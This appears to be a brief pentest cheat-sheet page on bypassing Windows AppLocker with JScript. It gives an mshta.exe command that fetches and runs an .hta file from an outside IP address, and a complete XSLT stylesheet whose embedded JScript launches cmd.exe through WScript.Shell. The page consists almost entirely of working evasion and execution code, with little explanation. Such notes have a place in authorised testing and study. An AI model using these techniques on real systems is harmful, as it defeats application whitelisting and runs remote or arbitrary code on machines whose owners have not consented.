AppLocker Bypass with JScript
By sending a shortcut file to execute .hta embedded with .js
mshta.exe http://192.168.119.120/test.htaBy Extensible Stylesheet Language (.xsl) through XLS transformation (XSLT)
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell");
r.Run("cmd.exe");
]]>
</ms:script>
</stylesheet>Last updated